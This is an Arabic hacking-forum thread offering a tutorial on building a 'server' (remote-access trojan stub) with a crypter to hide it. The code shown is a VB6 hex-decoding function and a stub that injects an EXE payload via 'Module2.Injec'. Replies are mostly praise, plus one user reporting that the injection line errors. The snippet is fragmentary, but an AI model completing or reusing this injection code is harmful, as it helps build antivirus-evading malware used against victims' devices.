عمل سورس كود لأي سرفر وتشفير محطم للكل سرفر مع تشفيره الشرح بصور

[سآرة]

عمل سورس كود لأي سرفر وتشفير محطم للكل سرفر مع تشفيره الشرح بصور

شرح عمل سورس كود لأي سرفر مع تشفيره الشرح بصور تابعوا










































الكود

		border: 1px inset;
		width: 640px;
		height: 306px;
		text-align: left;
		overflow: auto">Public Function HexStringToByteArray(ByRef HexString As String) As Byte()
    Dim bytOut() As Byte, bytHigh As Byte, bytLow As Byte, lngA As Long
    If LenB(HexString) Then
        ReDim bytOut(Len(HexString) \ 2 - 1)
        For lngA = 1 To LenB(HexString) Step 4
            bytHigh = AscW(MidB$(HexString, lngA, 2)) - 48
            bytLow = AscW(MidB$(HexString, lngA + 2, 2)) - 48
            If bytHigh > 9 Then bytHigh = bytHigh - 7
            If bytLow > 9 Then bytLow = bytLow - 7
            bytOut(lngA \ 4) = (bytHigh * &H10) Or bytLow
        Next lngA
        HexStringToByteArray = bytOut
    End If
End Function

Public Function facebook()
Module2.Injec ExE, hck(), vbNullString
End Function

لاتحرمون من تقيمكم و الله تعبت في عمل الشرح

المصدر: development-point - للمزيد تابع : قسم إختراق الأجـهـزه والأيـمـيـلات

---

ulg s,vs ;,] gHd svtv ,jatdv lp'l gg;g lu jatdvi hgavp fw,v

[[ صـقـور الإبـدآع ]]

بارك الله فيك أخي واصل

[SiLeNt KiLLeR]

الله يعطيك العافيه على الشرح والتنسيق الرائع

[MR.HACK]

الله يعطيك الف خير يا بطل استمر ^^

[Virus!Clown]

بارك الله فيك يا بطل

[DR.ZA3]

الله يعطيك الف عافية
ما قصرت شرح رائع

[عمار ابو ياسر]

يعطيك العافية

[لمين جالكو]

يااخي عندما اجي احفض السرفر يقول لي هادي الكلمة
Module2.Injec ExE, hck(), vbNullString غلط في الكود الاخير لي حطيتو في الشرح

[MisterMDE999]

يعطيك العأفية حبيب. قلبي.
ماقصرت ي وحش.

[king pro]

مشكور خويا لعزيز تستحق التثبيت ولله

واصل بلا فواصل